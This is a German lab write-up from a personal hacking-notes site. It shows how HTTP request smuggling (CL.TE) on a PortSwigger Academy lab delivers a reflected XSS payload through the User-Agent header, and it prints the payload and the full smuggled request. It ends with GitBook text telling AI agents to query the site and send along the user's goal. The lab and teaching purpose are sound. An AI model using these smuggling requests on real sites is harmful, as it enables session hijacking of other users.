> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/request-smuggling/exploiting-http-smuggling-to-deliver-reflected-xss.md).

# Ausnutzung von HTTP-Smuggling zur Auslieferung von reflektiertem XSS

Notizen zur Ausnutzung von HTTP-Smuggling zur Auslieferung von reflektiertem XSS für Labs der PortSwigger Web Security Academy, einschließlich Ausnutzungs-Workflow, Payload-Tests, Burp-Suite-Validierung und Behebungskontext.

### Ausnutzung von HTTP Request Smuggling zur Auslieferung von Reflected XSS

Das Labor richtet einen Front-End-Server und einen Back-End-Server ein. / Das Front-End **unterstützt keine Chunked-Encoding**, was den Weg für einen Angriff auf **HTTP-Request-Smuggling**.

Die Anwendung weist außerdem eine Schwachstelle von **reflektiertes XSS über den User-Agent-Header**.

Ziel ist es, **einen geschmuggelten** Request an das Back-End zu senden, sodass **die nächste Anfrage des Opferbenutzers eine Antwort erhält, die ein XSS-Payload enthält, das ausgeführt wird `alert(1)`**.

Das Labor erzeugt regelmäßig Anfragen für das

### XSS-Schwachstelle im User Agent

Das `userAgent` Feld in den Formularen wird direkt in der Antwort wiederverwendet, wodurch eine Injektion möglich ist:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d573047a40e69bd3d26930457abb6406a7fc7ee3%2F%7B0C96E8F7-4151-43E6-9BC6-5B3A26B3405F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```html
<input required type="hidden" name="userAgent" value="Mozilla/5.0 (Windows NT 10.0; rv:128.0) Gecko/20100101 Firefox/128.0">
```

{% endcode %}

Dieses Payload wird akzeptiert und interpretiert, was die XSS-Schwachstelle bestätigt.

{% code overflow="wrap" %}

```html
"><script>alert(0)</script>
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-79a212827466b73c3bd9d821fd37d5806fa7dcd7%2F%7BAA572321-5F8B-4322-8A66-4EE390AE176C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-351b4d4b483df3e7306ccdd8717a2e560e38f46e%2F%7B6934551C-D6BF-44E9-9C6B-E2CCF09E5528%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **Ziel des Angriffs**

Die Idee ist, Smuggling zu verwenden, um sicherzustellen, dass:

1. Das Front-End liest die Anfrage gemäß **Content-Length**.
2. Das Back-End liest gemäß **Transfer-Encoding: chunked**.
3. Die geschmuggelte Anfrage verändert die nächste Anfrage des Opferbenutzers.
4. Der Server gibt dann eine Antwort zurück, die unseren XSS-Payload im User-Agent-Header enthält.

### **Geschmuggelte Anwendungsanfrage**

Du schlägst eine POST-Anfrage vor, die einen leeren Body enthält (`0/r/n/r/n`) um den Chunked-Teil zu beenden, gefolgt von der Anfrage an das Back-End

```http
POST / HTTP/1.1
Host: 0a03007904861a418091d63e00800003.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 172
Transfer-Encoding: chunked

0

GET /post?postId=6 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: session=tacWnPVGep8Me8A2MnkwA8hx5mrBU9la
User-Agent: "><script>alert(0)</script>
```

Diese zweite Anfrage (geschmuggelt) wird vom Back-End als Teil der nächsten Anfrage — der des Opferbenutzers — interpretiert, wodurch das XSS-Payload in die Antwort injiziert werden kann, die es erhalten wird.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/web/request-smuggling/exploiting-http-smuggling-to-deliver-reflected-xss.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
